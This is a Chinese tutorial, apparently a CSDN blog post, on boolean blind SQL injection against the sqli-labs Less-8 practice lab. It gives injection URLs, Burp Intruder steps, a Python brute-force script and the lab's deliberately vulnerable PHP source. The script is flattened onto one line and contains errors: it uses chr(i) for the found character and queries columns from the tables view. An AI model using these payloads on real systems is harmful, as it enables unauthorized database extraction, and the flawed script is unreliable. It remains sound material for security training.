布尔盲注简介

什么是盲注

盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
【之前在做联合注入第一关的时候,用union select语句注入,想要查询的信息是回显在Your password和 Your Login name后面,如下图。但是盲注不会回显让你直白的看出信息的(但是可能会有一些间接的回显信息),所以只能通过另外一种方式去获取我们的信息】

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

盲注分为两类:
1、布尔盲注——》 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2、时间盲注——》 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

需要用到的函数:

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句



什么是布尔盲注

布尔盲注思路分析
不管是什么盲注,思想都是一样的——》爆破思想,也就是一个一个去尝试获得我们想要的数据

“盲”、“爆破思想”

布尔盲注的过程

1、找到注入点以及适合的注入语句(有些可能被过滤)
根据回显的不同来形成布尔盲注的判断条件
2、选择合适的字典,进行爆破(一般会选择26个字母+数字的组合)
可以使用burp suite自带的脚本(intruder),我们只需要提供字典来爆破
也可以自己写一个Python脚本来爆破出结果,利用Python的requests库

这里以sql-lab第八关为例

输入id=1看看:

step1、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型
http://127.0.0.1/sqli/Less-8/?id=1’《——加个单引号没有回显
http://127.0.0.1/sqli/Less-8/?id=1’- -+《——用注释符注释的时发现有Your are in…这个回显
基本可以判断是字符型

输入http://127.0.0.1/sqli/Less-8/?id=1’ and 1- -+ ——》会返回you are in…
输入http://127.0.0.1/sqli/Less-8/?id=1’ and 0- -+——》会发现没有回显

输入http://127.0.0.1/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=112)- -+——》如下图,无回显
所以这个数据库名的第一个字符并不是112所对应的字符

当输入http://127.0.0.1/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=115)- -+——》115对应的字符是s
(因为做sql-lab1的时候知道数据库是security,第一个字符是s),而盲注是不知道是115的——》这时候可以利用burpsuite(可以从48(0)开始跑到122(z),就是从0开始一直到z的ascii,全部跑一遍)

理解: (ascii(substr((select database()),1,1))=112)这个整体是一个表达式,它会返回1或者0,返回1的时候会有回显(就是会出现you are in xxx),当这个表达式不正确的时候,就会出现空白,没有回显

演示用burp工具进行爆破:

爆破数据库名

设置代理:

注意:使用burp抓包的时候url一定要填写自己本机的ip,不要填写127.0.0.1,否则抓不了包


ipconfig查看后,可知ip为192.168.3.10
输入http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=48)- -+

send to intruder

先clear $,因为要爆破的是48这个值——》给48加上 $ ——》$ 48 $,攻击方式用sniper
再用payloads选择字典

点击start attack爆破

点击Response——》Render渲染页面:you are in 出现——》数据库名第一个字符ASCII为115

同理

爆破表名

http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select group_concat(table_name) from information_schema.tables where schema_name=‘security’),1,1))=48)- -+
一 一爆破

爆破列名

http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=‘xxxx’),1,1))=48)- -+
一 一爆破

上面演示的是使用工具盲注,当然也可以自己去写一个盲注的脚本(用python写会比较轻松)

编写python脚本爆破

import requests
url="http://192.168.3.10/sqli/Less-8"
payload1="?id=1' and (length(database()))={} --+" #爆破 数据库长度
payload2="?id=1' and (ascii(substr((select database()),{},1))={})--+" #爆破数据库名
payload3="?id=1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='xxx'),1,1))={})--+"#爆破表名
payload4="?id=1' and (ascii(substr((select group_concat(column_name) from information_schema.tables where table_name='xxx'),1,1))={})--+"#爆破字段名
payload5="?id=1' and (ascii(substr((select group_concat(xxx) from xxx))={})--+"#爆破字段名对应的值
r=requests.session()#开启一个会话for i in range(100):payload=payload1.format(str(i))print(url+payload)res=r.get(url+payload)if 'You are in' in res.text:print("位数为:%s"%i)breakfor i in range(1,100):for j in range(48,123):payload=payload2.format(str(i),str(j))res=r.get(url+payload)print(url+payload)if 'You are in' in res.text:char=chr(i)print(i,char)break

sql-lab第八关布尔盲注代码index.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head><body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';   echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';//echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";  echo '<font color= "#0000ff" font size= 3>';    }
}else { echo "Please input the ID as parameter with numeric value";}?></font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>

发现一篇写的挺好的博客:https://blog.csdn.net/weixin_45146120/article/details/100104131?utm_source=app

SQL注入之布尔盲注——sql-lab第八关相关推荐

  1. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  2. SQL注入原理-布尔盲注

    小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...

  3. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  4. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  5. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  6. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  7. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  8. web安全入门之SQL注入-时间型盲注

    SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...

  9. 【SQL注入-布尔盲注】

    SQL注入方法-布尔盲注 布尔盲注使用场景 案例演示 演示环境 源码分析 实际测试 使用布尔盲注猜解数据. 布尔盲注使用到的函数: 开始 布尔盲注使用场景 布尔型盲注应用于无数据回显,且WEB页面无报 ...

最新文章

  1. CMMI入门-通用目标的实施- GG3
  2. c:数据结构-线性表
  3. ai与虚拟现实_将AI推向现实世界
  4. NoPause/NoEmgAbort的任务 与后台任务的区别
  5. Webpack基础之输出
  6. 【OS学习笔记】五 VirtualBox的下载、安装和配置
  7. Python升级至2.7方法
  8. (四)伪分布式下jdk1.6+Hadoop1.2.1+HBase0.94+Eclipse下运行wordCount例子
  9. 真会玩!竟然可以这样用IDEA通过数据库生成lombok版的POJO...
  10. android Paddle 视频字幕识别TTS语音
  11. MATLAB读取图像相关的一些操作
  12. 科技爱好者周刊(第 209 期):程序员是怎样的人
  13. android.media.MediaCodec$CodecException: Error 0xfffffc0e
  14. 560万Facebook人际关系数据,揭秘家庭职业传承“真相”
  15. 期货资管分仓软件——期货子账户软件的构成架构以及实现的功能
  16. 【连载】人类唯一的出路:变成人工智能(一)
  17. HTML5期末大作业:日式料理网站设计——简洁日式料理餐饮(4页) HTML+CSS+JavaScript 父亲美食HTM5网页设计作业成品
  18. iOS开发之蓝牙4.0开发使用
  19. 南昌大学计算机接收调剂的条件,南昌大学211高校,接受调剂人数超过600人,涉及26个学院...
  20. 水利工程建设标准强制性条文 2016

热门文章

  1. poj 1141(区间dp+打印路径)
  2. NYOJ 108 士兵杀敌(一)
  3. 第2课第3节_Java面向对象编程_继承性_P【学习笔记】
  4. 新概念 Lesson 7 A new dress 定冠词、不定冠词
  5. C# 程序执行时间差
  6. linux 网络编程 2---(TCP编程)
  7. iOS 不要使用tag传递TableViewCell的indexPath值
  8. 1.5 Python基础知识 - while循环
  9. Python学习笔记007_图形用户界面[EasyGui][Tkinter]
  10. (转)在Total Commander下使用SVN